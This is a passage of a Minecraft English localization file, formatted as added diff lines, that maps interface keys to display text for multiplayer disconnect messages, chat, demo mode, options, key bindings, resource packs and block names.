"multiplayer.status.ping": "%s ms", + "multiplayer.status.old": "Old", + "multiplayer.status.pinging": "Pinging...", + "multiplayer.status.quitting": "Quitting", + "multiplayer.status.unknown": "???", + "multiplayer.status.unrequested": "Received unrequested status", + "multiplayer.status.request_handled": "Status request has been handled", + "multiplayer.disconnect.authservers_down": "Authentication servers are down. Please try again later, sorry!", + "multiplayer.disconnect.banned": "You are banned from this server", + "multiplayer.disconnect.banned.reason": "You are banned from this server.\nReason: %s", + "multiplayer.disconnect.banned.expiration": "\nYour ban will be removed on %s", + "multiplayer.disconnect.banned_ip.reason": "Your IP address is banned from this server.\nReason: %s", + "multiplayer.disconnect.banned_ip.expiration": "\nYour ban will be removed on %s", + "multiplayer.disconnect.duplicate_login": "You logged in from another location", + "multiplayer.disconnect.flying": "Flying is not enabled on this server", + "multiplayer.disconnect.generic": "Disconnected", + "multiplayer.disconnect.idling": "You have been idle for too long!", + "multiplayer.disconnect.illegal_characters": "Illegal characters in chat", + "multiplayer.disconnect.invalid_entity_attacked": "Attempting to attack an invalid entity", + "multiplayer.disconnect.invalid_player_movement": "Invalid move player packet received", + "multiplayer.disconnect.invalid_vehicle_movement": "Invalid move vehicle packet received", + "multiplayer.disconnect.ip_banned": "You have been IP banned from this server", + "multiplayer.disconnect.kicked": "Kicked by an operator", + "multiplayer.disconnect.incompatible": "Incompatible client! Please use %s", + "multiplayer.disconnect.outdated_client": "Incompatible client! Please use %s", + "multiplayer.disconnect.outdated_server": "Incompatible client! Please use %s", + "multiplayer.disconnect.server_shutdown": "Server closed", + "multiplayer.disconnect.slow_login": "Took too long to log in", + "multiplayer.disconnect.unverified_username": "Failed to verify username!", + "multiplayer.disconnect.not_whitelisted": "You are not white-listed on this server!", + "multiplayer.disconnect.server_full": "The server is full!", + "multiplayer.disconnect.name_taken": "That name is already taken", + "multiplayer.disconnect.unexpected_query_response": "Unexpected custom data from client", + "multiplayer.disconnect.missing_tags": "Incomplete set of tags received from server.\nPlease contact server operator.", + "multiplayer.socialInteractions.not_available": "Social Interactions are only available in Multiplayer worlds", + "chat.editBox": "chat", + "chat.cannotSend": "Cannot send chat message", + "chat.type.text": "<%s> %s", + "chat.type.text.narrate": "%s says %s", + "chat.type.emote": "* %s %s", + "chat.type.announcement": "[%s] %s", + "chat.type.admin": "[%s: %s]", + "chat.type.advancement.task": "%s has made the advancement %s", + "chat.type.advancement.challenge": "%s has completed the challenge %s", + "chat.type.advancement.goal": "%s has reached the goal %s", + "chat.type.team.text": "%s <%s> %s", + "chat.type.team.sent": "-> %s <%s> %s", + "chat.type.team.hover": "Message Team", + "chat.link.confirm": "Are you sure you want to open the following website?", + "chat.link.warning": "Never open links from people that you don't trust!", + "chat.copy": "Copy to Clipboard", + "chat.copy.click": "Click to Copy to Clipboard", + "chat.link.confirmTrusted": "Do you want to open this link or copy it to your clipboard?", + "chat.link.open": "Open in Browser", + "chat.coordinates": "%s, %s, %s", + "chat.coordinates.tooltip": "Click to teleport", + "chat.queue": "[+%s pending lines]", + "chat.square_brackets": "[%s]", + "menu.playdemo": "Play Demo World", + "menu.resetdemo": "Reset Demo World", + "demo.day.1": "This demo will last five game days. Do your best!", + "demo.day.2": "Day Two", + "demo.day.3": "Day Three", + "demo.day.4": "Day Four", + "demo.day.5": "This is your last day!", + "demo.day.warning": "Your time is almost up!", + "demo.day.6": "You have passed your fifth day. Use %s to save a screenshot of your creation.", + "demo.reminder": "The demo time has expired. Buy the game to continue or start a new world!", + "demo.remainingTime": "Remaining time: %s", + "demo.demoExpired": "Demo time's up!", + "demo.help.movement": "Use the %1$s, %2$s, %3$s, %4$s keys and the mouse to move around", + "demo.help.movementShort": "Move by pressing the %1$s, %2$s, %3$s, %4$s keys", + "demo.help.movementMouse": "Look around using the mouse", + "demo.help.jump": "Jump by pressing the %1$s key", + "demo.help.inventory": "Use the %1$s key to open your inventory", + "demo.help.title": "Minecraft Demo Mode", + "demo.help.fullWrapped": "This demo will last 5 in-game days (about 1 hour and 40 minutes of real time). Check the advancements for hints! Have fun!", + "demo.help.buy": "Purchase Now!", + "demo.help.later": "Continue Playing!", + "connect.connecting": "Connecting to the server...", + "connect.aborted": "Aborted", + "connect.authorizing": "Logging in...", + "connect.negotiating": "Negotiating...", + "connect.encrypting": "Encrypting...", + "connect.joining": "Joining world...", + "connect.failed": "Failed to connect to the server", + "disconnect.genericReason": "%s", + "disconnect.disconnected": "Disconnected by Server", + "disconnect.lost": "Connection Lost", + "disconnect.kicked": "Was kicked from the game", + "disconnect.timeout": "Timed out", + "disconnect.closed": "Connection closed", + "disconnect.loginFailed": "Failed to log in", + "disconnect.loginFailedInfo": "Failed to log in: %s", + "disconnect.loginFailedInfo.serversUnavailable": "The authentication servers are currently down for maintenance.", + "disconnect.loginFailedInfo.invalidSession": "Invalid session (Try restarting your game and the launcher)", + "disconnect.loginFailedInfo.insufficientPrivileges": "Multiplayer is disabled. Please check your Microsoft account settings.", + "disconnect.quitting": "Quitting", + "disconnect.endOfStream": "End of stream", + "disconnect.overflow": "Buffer overflow", + "disconnect.spam": "Kicked for spamming", + "disconnect.exceeded_packet_rate": "Kicked for exceeding packet rate limit", + "soundCategory.master": "Master Volume", + "soundCategory.music": "Music", + "soundCategory.record": "Jukebox/Note Blocks", + "soundCategory.weather": "Weather", + "soundCategory.hostile": "Hostile Creatures", + "soundCategory.neutral": "Friendly Creatures", + "soundCategory.player": "Players", + "soundCategory.block": "Blocks", + "soundCategory.ambient": "Ambient/Environment", + "soundCategory.voice": "Voice/Speech", + "record.nowPlaying": "Now Playing: %s", + "options.off": "OFF", + "options.on": "ON", + "options.off.composed": "%s: OFF", + "options.on.composed": "%s: ON", + "options.generic_value": "%s: %s", + "options.pixel_value": "%s: %spx", + "options.percent_value": "%s: %s%%", + "options.percent_add_value": "%s: +%s%%", + "options.visible": "Shown", + "options.hidden": "Hidden", + "options.title": "Options", + "options.controls": "Controls...", + "options.video": "Video Settings...", + "options.language": "Language...", + "options.sounds": "Music & Sounds...", + "options.sounds.title": "Music & Sound Options", + "options.languageWarning": "Language translations may not be 100%% accurate", + "options.videoTitle": "Video Settings", + "options.mouse_settings": "Mouse Settings...", + "options.mouse_settings.title": "Mouse Settings", + "options.customizeTitle": "Customize World Settings", + "options.invertMouse": "Invert Mouse", + "options.fov": "FOV", + "options.fov.min": "Normal", + "options.fov.max": "Quake Pro", + "options.screenEffectScale": "Distortion Effects", + "options.screenEffectScale.off": "Off", + "options.screenEffectScale.tooltip": "Strength of nausea and Nether portal screen distortion effects.\nAt lower values, the nausea effect is replaced with a green overlay.", + "options.fovEffectScale": "FOV Effects", + "options.fovEffectScale.off": "Off", + "options.fovEffectScale.tooltip": "Controls how much the field of view can change with speed effects.", + "options.biomeBlendRadius": "Biome Blend", + "options.biomeBlendRadius.1": "OFF (Fastest)", + "options.biomeBlendRadius.3": "3x3 (Fast)", + "options.biomeBlendRadius.5": "5x5 (Normal)", + "options.biomeBlendRadius.7": "7x7 (High)", + "options.biomeBlendRadius.9": "9x9 (Very High)", + "options.biomeBlendRadius.11": "11x11 (Extreme)", + "options.biomeBlendRadius.13": "13x13 (Showoff)", + "options.biomeBlendRadius.15": "15x15 (Maximum)", + "options.gamma": "Brightness", + "options.gamma.min": "Moody", + "options.gamma.max": "Bright", + "options.sensitivity": "Sensitivity", + "options.sensitivity.min": "*yawn*", + "options.sensitivity.max": "HYPERSPEED!!!", + "options.renderDistance": "Render Distance", + "options.entityDistanceScaling": "Entity Distance", + "options.viewBobbing": "View Bobbing", + "options.ao": "Smooth Lighting", + "options.ao.off": "OFF", + "options.ao.min": "Minimum", + "options.ao.max": "Maximum", + "options.chunks": "%s chunks", + "options.framerate": "%s fps", + "options.framerateLimit": "Max Framerate", + "options.framerateLimit.max": "Unlimited", + "options.difficulty": "Difficulty", + "options.difficulty.peaceful": "Peaceful", + "options.difficulty.easy": "Easy", + "options.difficulty.normal": "Normal", + "options.difficulty.hard": "Hard", + "options.difficulty.hardcore": "Hardcore", + "options.graphics": "Graphics", + "options.graphics.fabulous.tooltip": "%s graphics uses screen shaders for drawing weather, clouds, and particles behind translucent blocks and water.\nThis may severely impact performance for portable devices and 4K displays.", + "options.graphics.fabulous": "Fabulous!", + "options.graphics.fancy.tooltip": "Fancy graphics balances performance and quality for the majority of machines.\nWeather, clouds, and particles may not appear behind translucent blocks or water.", + "options.graphics.fancy": "Fancy", + "options.graphics.fast.tooltip": "Fast graphics reduces the amount of visible rain and snow.\nTransparency effects are disabled for various blocks such as leaves.", + "options.graphics.fast": "Fast", + "options.graphics.warning.title": "Graphics Device Unsupported", + "options.graphics.warning.message": "Your graphics device is detected as unsupported for the %s graphics option.\n\nYou may ignore this and continue, however support will not be provided for your device if you choose to use %s graphics.", + "options.graphics.warning.renderer": "Renderer detected: [%s]", + "options.graphics.warning.vendor": "Vendor detected: [%s]", + "options.graphics.warning.version": "OpenGL Version detected: [%s]", + "options.graphics.warning.accept": "Continue without Support", + "options.graphics.warning.cancel": "Take me Back", + "options.clouds.fancy": "Fancy", + "options.clouds.fast": "Fast", + "options.guiScale": "GUI Scale", + "options.guiScale.auto": "Auto", + "options.renderClouds": "Clouds", + "options.particles": "Particles", + "options.particles.all": "All", + "options.particles.decreased": "Decreased", + "options.particles.minimal": "Minimal", + "options.multiplayer.title": "Multiplayer Settings...", + "options.chat.title": "Chat Settings...", + "options.chat.visibility": "Chat", + "options.chat.visibility.full": "Shown", + "options.chat.visibility.system": "Commands Only", + "options.chat.visibility.hidden": "Hidden", + "options.chat.color": "Colors", + "options.chat.opacity": "Chat Text Opacity", + "options.chat.line_spacing": "Line Spacing", + "options.chat.links": "Web Links", + "options.chat.links.prompt": "Prompt on Links", + "options.chat.delay_none": "Chat Delay: None", + "options.chat.delay": "Chat Delay: %s seconds", + "options.chat.scale": "Chat Text Size", + "options.chat.width": "Width", + "options.chat.height.focused": "Focused Height", + "options.chat.height.unfocused": "Unfocused Height", + "options.accessibility.title": "Accessibility Settings...", + "options.accessibility.text_background": "Text Background", + "options.accessibility.text_background.chat": "Chat", + "options.accessibility.text_background.everywhere": "Everywhere", + "options.accessibility.text_background_opacity": "Text Background Opacity", + "options.accessibility.link": "Accessibility Guide", + "options.key.toggle": "Toggle", + "options.key.hold": "Hold", + "options.skinCustomisation": "Skin Customization...", + "options.skinCustomisation.title": "Skin Customization", + "options.modelPart.cape": "Cape", + "options.modelPart.hat": "Hat", + "options.modelPart.jacket": "Jacket", + "options.modelPart.left_sleeve": "Left Sleeve", + "options.modelPart.right_sleeve": "Right Sleeve", + "options.modelPart.left_pants_leg": "Left Pants Leg", + "options.modelPart.right_pants_leg": "Right Pants Leg", + "options.snooper": "Allow Snooper", + "options.snooper.view": "Snooper Settings...", + "options.snooper.title": "Feed us data!", + "options.snooper.desc": "We always want to improve Minecraft and, to help us do that, we'd like to collect some information. This lets us know what hardware to support and where the big problems are. It also gives us a sense of the size of our active player base, so we know if we're doing a good job. You can view all the information we collect below. If you want to opt out then you can simply toggle it off!", + "options.resourcepack": "Resource Packs...", + "options.fullscreen": "Fullscreen", + "options.vsync": "Use VSync", + "options.vbo": "Use VBOs", + "options.touchscreen": "Touchscreen Mode", + "options.reducedDebugInfo": "Reduced Debug Info", + "options.entityShadows": "Entity Shadows", + "options.mainHand": "Main Hand", + "options.mainHand.left": "Left", + "options.mainHand.right": "Right", + "options.attackIndicator": "Attack Indicator", + "options.attack.crosshair": "Crosshair", + "options.attack.hotbar": "Hotbar", + "options.showSubtitles": "Show Subtitles", + "options.realmsNotifications": "Realms Notifications", + "options.autoJump": "Auto-Jump", + "options.autoSuggestCommands": "Command Suggestions", + "options.discrete_mouse_scroll": "Discrete Scrolling", + "options.mouseWheelSensitivity": "Scroll Sensitivity", + "options.rawMouseInput": "Raw Input", + "options.narrator": "Narrator", + "options.narrator.off": "OFF", + "options.narrator.all": "Narrates All", + "options.narrator.chat": "Narrates Chat", + "options.narrator.system": "Narrates System", + "options.narrator.notavailable": "Not Available", + "options.fullscreen.resolution": "Fullscreen Resolution", + "options.fullscreen.unavailable": "Setting unavailable", + "options.fullscreen.current": "Current", + "options.mipmapLevels": "Mipmap Levels", + "options.forceUnicodeFont": "Force Unicode Font", + "options.hideMatchedNames": "Hide Matched Names", + "options.hideMatchedNames.tooltip": "3rd-party Servers may send chat messages in non-standard formats.\nWith this option on: hidden players will be matched based on chat sender names.", + "narrator.toast.disabled": "Narrator Disabled", + "narrator.toast.enabled": "Narrator Enabled", + "difficulty.lock.title": "Lock World Difficulty", + "difficulty.lock.question": "Are you sure you want to lock the difficulty of this world? This will set this world to always be %1$s, and you will never be able to change that again.", + "title.oldgl.eol.line1": "Old graphics card detected; this WILL prevent you from", + "title.oldgl.eol.line2": "playing future updates as OpenGL 2.0 will be required!", + "title.oldgl.deprecation.line1": "Old graphics card detected; this may prevent you from", + "title.oldgl.deprecation.line2": "playing in the future as OpenGL 3.2 will be required!", + "title.multiplayer.disabled": "Multiplayer is disabled. Please check your Microsoft account settings.", + "controls.title": "Controls", + "controls.reset": "Reset", + "controls.resetAll": "Reset Keys", + "key.sprint": "Sprint", + "key.forward": "Walk Forwards", + "key.left": "Strafe Left", + "key.back": "Walk Backwards", + "key.right": "Strafe Right", + "key.jump": "Jump", + "key.inventory": "Open/Close Inventory", + "key.drop": "Drop Selected Item", + "key.swapOffhand": "Swap Item With Offhand", + "key.chat": "Open Chat", + "key.sneak": "Sneak", + "key.playerlist": "List Players", + "key.attack": "Attack/Destroy", + "key.use": "Use Item/Place Block", + "key.pickItem": "Pick Block", + "key.command": "Open Command", + "key.socialInteractions": "Social Interactions Screen", + "key.screenshot": "Take Screenshot", + "key.togglePerspective": "Toggle Perspective", + "key.smoothCamera": "Toggle Cinematic Camera", + "key.fullscreen": "Toggle Fullscreen", + "key.spectatorOutlines": "Highlight Players (Spectators)", + "key.hotbar.1": "Hotbar Slot 1", + "key.hotbar.2": "Hotbar Slot 2", + "key.hotbar.3": "Hotbar Slot 3", + "key.hotbar.4": "Hotbar Slot 4", + "key.hotbar.5": "Hotbar Slot 5", + "key.hotbar.6": "Hotbar Slot 6", + "key.hotbar.7": "Hotbar Slot 7", + "key.hotbar.8": "Hotbar Slot 8", + "key.hotbar.9": "Hotbar Slot 9", + "key.saveToolbarActivator": "Save Hotbar Activator", + "key.loadToolbarActivator": "Load Hotbar Activator", + "key.advancements": "Advancements", + "key.categories.movement": "Movement", + "key.categories.misc": "Miscellaneous", + "key.categories.multiplayer": "Multiplayer", + "key.categories.gameplay": "Gameplay", + "key.categories.ui": "Game Interface", + "key.categories.inventory": "Inventory", + "key.categories.creative": "Creative Mode", + "key.mouse.left": "Left Button", + "key.mouse.right": "Right Button", + "key.mouse.middle": "Middle Button", + "key.mouse": "Button %1$s", + "key.keyboard.unknown": "Not bound", + "key.keyboard.apostrophe": "'", + "key.keyboard.backslash": "\\", + "key.keyboard.backspace": "Backspace", + "key.keyboard.comma": ",", + "key.keyboard.delete": "Delete", + "key.keyboard.end": "End", + "key.keyboard.enter": "Enter", + "key.keyboard.equal": "=", + "key.keyboard.escape": "Escape", + "key.keyboard.f1": "F1", + "key.keyboard.f2": "F2", + "key.keyboard.f3": "F3", + "key.keyboard.f4": "F4", + "key.keyboard.f5": "F5", + "key.keyboard.f6": "F6", + "key.keyboard.f7": "F7", + "key.keyboard.f8": "F8", + "key.keyboard.f9": "F9", + "key.keyboard.f10": "F10", + "key.keyboard.f11": "F11", + "key.keyboard.f12": "F12", + "key.keyboard.f13": "F13", + "key.keyboard.f14": "F14", + "key.keyboard.f15": "F15", + "key.keyboard.f16": "F16", + "key.keyboard.f17": "F17", + "key.keyboard.f18": "F18", + "key.keyboard.f19": "F19", + "key.keyboard.f20": "F20", + "key.keyboard.f21": "F21", + "key.keyboard.f22": "F22", + "key.keyboard.f23": "F23", + "key.keyboard.f24": "F24", + "key.keyboard.f25": "F25", + "key.keyboard.grave.accent": "`", + "key.keyboard.home": "Home", + "key.keyboard.insert": "Insert", + "key.keyboard.keypad.0": "Keypad 0", + "key.keyboard.keypad.1": "Keypad 1", + "key.keyboard.keypad.2": "Keypad 2", + "key.keyboard.keypad.3": "Keypad 3", + "key.keyboard.keypad.4": "Keypad 4", + "key.keyboard.keypad.5": "Keypad 5", + "key.keyboard.keypad.6": "Keypad 6", + "key.keyboard.keypad.7": "Keypad 7", + "key.keyboard.keypad.8": "Keypad 8", + "key.keyboard.keypad.9": "Keypad 9", + "key.keyboard.keypad.add": "Keypad +", + "key.keyboard.keypad.decimal": "Keypad Decimal", + "key.keyboard.keypad.enter": "Keypad Enter", + "key.keyboard.keypad.equal": "Keypad =", + "key.keyboard.keypad.multiply": "Keypad *", + "key.keyboard.keypad.divide": "Keypad /", + "key.keyboard.keypad.subtract": "Keypad -", + "key.keyboard.left.bracket": "[", + "key.keyboard.right.bracket": "]", + "key.keyboard.minus": "-", + "key.keyboard.num.lock": "Num Lock", + "key.keyboard.caps.lock": "Caps Lock", + "key.keyboard.scroll.lock": "Scroll Lock", + "key.keyboard.page.down": "Page Down", + "key.keyboard.page.up": "Page Up", + "key.keyboard.pause": "Pause", + "key.keyboard.period": ".", + "key.keyboard.left.control": "Left Control", + "key.keyboard.right.control": "Right Control", + "key.keyboard.left.alt": "Left Alt", + "key.keyboard.right.alt": "Right Alt", + "key.keyboard.left.shift": "Left Shift", + "key.keyboard.right.shift": "Right Shift", + "key.keyboard.left.win": "Left Win", + "key.keyboard.right.win": "Right Win", + "key.keyboard.semicolon": ";", + "key.keyboard.slash": "/", + "key.keyboard.space": "Space", + "key.keyboard.tab": "Tab", + "key.keyboard.up": "Up Arrow", + "key.keyboard.down": "Down Arrow", + "key.keyboard.left": "Left Arrow", + "key.keyboard.right": "Right Arrow", + "key.keyboard.menu": "Menu", + "key.keyboard.print.screen": "Print Screen", + "key.keyboard.world.1": "World 1", + "key.keyboard.world.2": "World 2", + "pack.available.title": "Available", + "pack.selected.title": "Selected", + "pack.incompatible": "Incompatible", + "pack.incompatible.old": "(Made for an older version of Minecraft)", + "pack.incompatible.new": "(Made for a newer version of Minecraft)", + "pack.incompatible.confirm.title": "Are you sure you want to load this pack?", + "pack.incompatible.confirm.old": "This pack was made for an older version of Minecraft and may no longer work correctly.", + "pack.incompatible.confirm.new": "This pack was made for a newer version of Minecraft and may not work correctly.", + "pack.dropInfo": "Drag and drop files into this window to add packs", + "pack.dropConfirm": "Do you want to add the following packs to Minecraft?", + "pack.copyFailure": "Failed to copy packs", + "pack.nameAndSource": "%s (%s)", + "pack.openFolder": "Open Pack Folder", + "pack.folderInfo": "(Place pack files here)", + "resourcePack.title": "Select Resource Packs", + "resourcePack.server.name": "World Specific Resources", + "resourcePack.broken_assets": "BROKEN ASSETS DETECTED", + "resourcePack.load_fail": "Resource reload failed", + "dataPack.title": "Select Data Packs", + "dataPack.validation.working": "Validating selected data packs...", + "dataPack.validation.failed": "Data pack validation failed!", + "dataPack.validation.back": "Go Back", + "dataPack.validation.reset": "Reset to Default", + "sign.edit": "Edit Sign Message", + "book.pageIndicator": "Page %1$s of %2$s", + "book.byAuthor": "by %1$s", + "book.signButton": "Sign", + "book.editTitle": "Enter Book Title:", + "book.finalizeButton": "Sign and Close", + "book.finalizeWarning": "Note! When you sign the book, it will no longer be editable.", + "book.generation.0": "Original", + "book.generation.1": "Copy of original", + "book.generation.2": "Copy of a copy", + "book.generation.3": "Tattered", + "book.invalid.tag": "* Invalid book tag *", + "merchant.deprecated": "Villagers restock up to two times per day.", + "merchant.current_level": "Trader's current level", + "merchant.next_level": "Trader's next level", + "merchant.level.1": "Novice", + "merchant.level.2": "Apprentice", + "merchant.level.3": "Journeyman", + "merchant.level.4": "Expert", + "merchant.level.5": "Master", + "merchant.trades": "Trades", + "block.minecraft.air": "Air", + "block.minecraft.barrier": "Barrier", + "block.minecraft.stone": "Stone", + "block.minecraft.granite": "Granite", + "block.minecraft.polished_granite": "Polished Granite", + "block.minecraft.diorite": "Diorite", + "block.minecraft.polished_diorite": "Polished Diorite", + "block.minecraft.andesite": "Andesite", + "block.minecraft.polished_andesite": "Polished Andesite", + "block.minecraft.hay_block": "Hay Bale", + "block.minecraft.grass_block": "Grass Block", + "block.minecraft.dirt": "Dirt", + "block.minecraft.coarse_dirt": "Coarse Dirt", + "block.minecraft.podzol": "Podzol", + "block.minecraft.cobblestone": "Cobblestone", + "block.minecraft.oak_planks": "Oak Planks", + "block.minecraft.spruce_planks": "Spruce Planks", + "block.minecraft.birch_planks": "Birch Planks", + "block.minecraft.jungle_planks": "Jungle Planks", + "block.minecraft.acacia_planks": "Acacia Planks", + "block.minecraft.dark_oak_planks": "Dark Oak Planks", + "block.minecraft.oak_sapling": "Oak Sapling", + "block.minecraft.spruce_sapling": "Spruce Sapling", + "block.minecraft.birch_sapling": "Birch Sapling", + "block.minecraft.jungle_sapling": "Jungle Sapling", + "block.minecraft.acacia_sapling": "Acacia Sapling", + "block.minecraft.dark_oak_sapling": "Dark Oak Sapling", + "block.minecraft.oak_door": "Oak Door", + "block.minecraft.spruce_door": "Spruce Door", + "block.minecraft.birch_door": "Birch Door", + "block.minecraft.jungle_door": "Jungle Door", + "block.minecraft.acacia_door": "Acacia Door", + "block.minecraft.dark_oak_door": "Dark Oak Door", + "block.minecraft.bedrock": "Bedrock", + "block.minecraft.water": "Water", + "block.minecraft.lava": "Lava", + "block.minecraft.sand": "Sand", + "block.minecraft.red_sand": "Red Sand", + "block.minecraft.sandstone": "Sandstone", + "block.minecraft.chiseled_sandstone": "Chiseled Sandstone", + "block.minecraft.cut_sandstone": "Cut Sandstone", + "block.minecraft.red_sandstone": "Red Sandstone", + "block.minecraft.chiseled_red_sandstone": "Chiseled Red Sandstone", + "block.minecraft.cut_red_sandstone": "Cut Red Sandstone", + "block.minecraft.gravel": "Gravel", + "block.minecraft.gold_ore": "Gold Ore", + "block.minecraft.nether_gold_ore": "Nether Gold Ore", + "block.minecraft.iron_ore": "Iron Ore", + "block.minecraft.coal_ore": "Coal Ore", + "block.minecraft.oak_wood": "Oak Wood", + "block.minecraft.spruce_wood": "Spruce Wood", + "block.minecraft.birch_wood": "Birch Wood", + "block.minecraft.jungle_wood": "Jungle Wood", + "block.minecraft.acacia_wood": "Acacia Wood", + "block.minecraft.dark_oak_wood": "Dark Oak Wood", + "block.minecraft.oak_log": "Oak Log", + "block.minecraft.spruce_log": "Spruce Log", + "block.minecraft.birch_log": "Birch Log", + "block.minecraft.jungle_log": "Jungle Log", + "block.minecraft.acacia_log": "Acacia Log", + "block.minecraft.dark_oak_log": "Dark Oak Log", + "block.minecraft.stripped_oak_log": "Stripped Oak Log", + "block.minecraft.stripped_spruce_log": "Stripped Spruce Log", + "block.minecraft.stripped_birch_log": "Stripped Birch Log", + "block.minecraft.stripped_jungle_log": "Stripped Jungle Log", + "block.minecraft.stripped_acacia_log": "Stripped Acacia Log", + "block.minecraft.stripped_dark_oak_log": "Stripped Dark Oak Log", + "block.minecraft.stripped_oak_wood": "Stripped Oak Wood", + "block.minecraft.stripped_spruce_wood": "Stripped Spruce Wood", + "block.minecraft.stripped_birch_wood": "Stripped Birch Wood", + "block.minecraft.stripped_jungle_wood": "Stripped Jungle Wood", + "block.minecraft.stripped_acacia_wood": "Stripped Acacia Wood", + "block.minecraft.stripped_dark_oak_wood": "Stripped Dark Oak Wood", + "block.minecraft.oak_leaves": "Oak Leaves", + "block.minecraft.spruce_leaves": "Spruce Leaves", + "block.minecraft.birch_leaves": "Birch Leaves", + "block.minecraft.jungle_leaves": "Jungle Leaves", + "block.minecraft.acacia_leaves": "Acacia Leaves", + "block.minecraft.dark_oak_leaves": "Dark Oak Leaves", + "block.minecraft.dead_bush": "Dead Bush", + "block.minecraft.grass": "Grass", + "block.minecraft.fern": "Fern", + "block.minecraft.sponge": "Sponge", + "block.minecraft.wet_sponge": "Wet Sponge", + "block.minecraft.glass": "Glass", + "block.minecraft.kelp_plant": "Kelp Plant", + "block.minecraft.kelp": "Kelp", + "block.minecraft.dried_kelp_block": "Dried Kelp Block", + "block.minecraft.white_stained_glass": "White Stained Glass", + "block.minecraft.orange_stained_glass": "Orange Stained Glass", + "block.minecraft.magenta_stained_glass": "Magenta Stained Glass", + "block.minecraft.light_blue_stained_glass": "Light Blue Stained Glass", + "block.minecraft.yellow_stained_glass": "Yellow Stained Glass", + "block.minecraft.lime_stained_glass": "Lime Stained Glass", + "block.minecraft.pink_stained_glass": "Pink Stained Glass", + "block.minecraft.gray_stained_glass": "Gray Stained Glass", + "block.minecraft.light_gray_stained_glass": "Light Gray Stained Glass", + "block.minecraft.cyan_stained_glass": "Cyan Stained Glass", + "block.minecraft.purple_stained_glass": "Purple Stained Glass", + "block.minecraft.blue_stained_glass": "Blue Stained Glass", + "block.minecraft.brown_stained_glass": "Brown Stained Glass", + "block.minecraft.green_stained_glass": "Green Stained Glass", + "block.minecraft.red_stained_glass": "Red Stained Glass", + "block.minecraft.black_stained_glass": "Black Stained Glass", + "block.minecraft.white_stained_glass_pane": "White Stained Glass Pane", + "block.minecraft.orange_stained_glass_pane": "Orange Stained Glass Pane", + "block.minecraft.magenta_stained_glass_pane": "Magenta Stained Glass Pane", + "block.minecraft.light_blue_stained_glass_pane": "Light Blue Stained Glass Pane", + "block.minecraft.yellow_stained_glass_pane": "Yellow Stained Glass Pane", + "block.minecraft.lime_stained_glass_pane": "Lime Stained Glass Pane", + "block.minecraft.pink_stained_glass_pane": "Pink Stained Glass Pane", + "block.minecraft.gray_stained_glass_pane": "Gray Stained Glass Pane", + "block.minecraft.light_gray_stained_glass_pane": "Light Gray Stained Glass Pane", + "block.minecraft.cyan_stained_glass_pane": "Cyan Stained Glass Pane", + "block.minecraft.purple_stained_glass_pane": "Purple Stained Glass Pane", + "block.minecraft.blue_stained_glass_pane": "Blue Stained Glass Pane", + "block.minecraft.brown_stained_glass_pane": "Brown Stained Glass Pane", + "block.minecraft.green_stained_glass_pane": "Green Stained Glass Pane", + "block.minecraft.red_stained_glass_pane": "Red Stained Glass Pane", + "block.minecraft.black_stained_glass_pane": "Black Stained Glass Pane", + "block.minecraft.glass_pane": "Glass Pane", + "block.minecraft.dandelion": "Dandelion", + "block.minecraft.poppy": "Poppy", + "block.minecraft.blue_orchid": "Blue Orchid", + "block.minecraft.allium": "Allium", + "block.minecraft.azure_bluet": "Azure Bluet", + "block.minecraft.red_tulip": "Red Tulip", + "block.minecraft.orange_tulip": "Orange Tulip", + "block.minecraft.white_tulip": "White Tulip", + "block.minecraft.pink_tulip": "Pink Tulip", + "block.minecraft.oxeye_daisy": "Oxeye Daisy", + "block.minecraft.cornflower": "Cornflower", + "block.minecraft.lily_of_the_valley": "Lily of the Valley", + "block.minecraft.wither_rose": "Wither Rose", + "block.minecraft.sunflower": "Sunflower", + "block.minecraft.lilac": "Lilac", + "block.minecraft.tall_grass": "Tall Grass", + "block.minecraft.tall_seagrass": "Tall Seagrass", + "block.minecraft.large_fern": "Large Fern", + "block.minecraft.rose_bush": "Rose Bush", + "block.minecraft.peony": "Peony", + "block.minecraft.seagrass": "Seagrass", + "block.minecraft.sea_pickle": "Sea Pickle", + "block.minecraft.brown_mushroom": "Brown Mushroom", + "block.minecraft.red_mushroom_block": "Red Mushroom Block", + "block.minecraft.brown_mushroom_block": "Brown Mushroom Block", + "block.minecraft.mushroom_stem": "Mushroom Stem", + "block.minecraft.gold_block": "Block of Gold", + "block.minecraft.iron_block": "Block of Iron", + "block.minecraft.smooth_stone": "Smooth Stone", + "block.minecraft.smooth_sandstone": "Smooth Sandstone", + "block.minecraft.smooth_red_sandstone": "Smooth Red Sandstone", + "block.minecraft.smooth_quartz": "Smooth Quartz Block", + "block.minecraft.stone_slab": "Stone Slab", + "block.minecraft.smooth_stone_slab": "Smooth Stone Slab", + "block.minecraft.sandstone_slab": "Sandstone Slab", + "block.minecraft.red_sandstone_slab": "Red Sandstone Slab", + "block.minecraft.cut_sandstone_slab": "Cut Sandstone Slab", + "block.minecraft.cut_red_sandstone_slab": "Cut Red Sandstone Slab", + "block.minecraft.petrified_oak_slab": "Petrified Oak Slab", + "block.minecraft.cobblestone_slab": "Cobblestone Slab", + "block.minecraft.brick_slab": "Brick Slab", + "block.minecraft.stone_brick_slab": "Stone Brick Slab", + "block.minecraft.nether_brick_slab": "Nether Brick Slab", + "block.minecraft.quartz_slab": "Quartz Slab", + "block.minecraft.oak_slab": "Oak Slab", + "block.minecraft.spruce_slab": "Spruce Slab", + "block.minecraft.birch_slab": "Birch Slab", + "block.minecraft.jungle_slab": "Jungle Slab", + "block.minecraft.acacia_slab": "Acacia Slab", + "block.minecraft.dark_oak_slab": "Dark Oak Slab", + "block.minecraft.dark_prismarine_slab": "Dark Prismarine Slab", + "block.minecraft.prismarine_slab": "Prismarine Slab", + "block.minecraft.prismarine_brick_slab": "Prismarine Brick Slab", + "block.minecraft.bricks": "Bricks", + "block.minecraft.tnt": "TNT", + "block.minecraft.bookshelf": "Bookshelf", + "block.minecraft.mossy_cobblestone": "Mossy Cobblestone", + "block.minecraft.obsidian": "Obsidian", + "block.minecraft.torch": "Torch", + "block.minecraft.wall_torch": "Wall Torch", + "block.minecraft.soul_torch": "Soul Torch", + "block.minecraft.soul_wall_torch": "Soul Wall Torch", + "block.minecraft.fire": "Fire", + "block.minecraft.spawner": "Spawner", + "block.minecraft.respawn_anchor": "Respawn Anchor", + "block.minecraft.oak_stairs": "Oak Stairs", + "block.minecraft.spruce_stairs": "Spruce Stairs", + "block.minecraft.birch_stairs": "Birch Stairs", + "block.minecraft.jungle_stairs": "Jungle Stairs", + "block.minecraft.acacia_stairs": "Acacia Stairs", + "block.minecraft.dark_oak_stairs": "Dark Oak Stairs", + 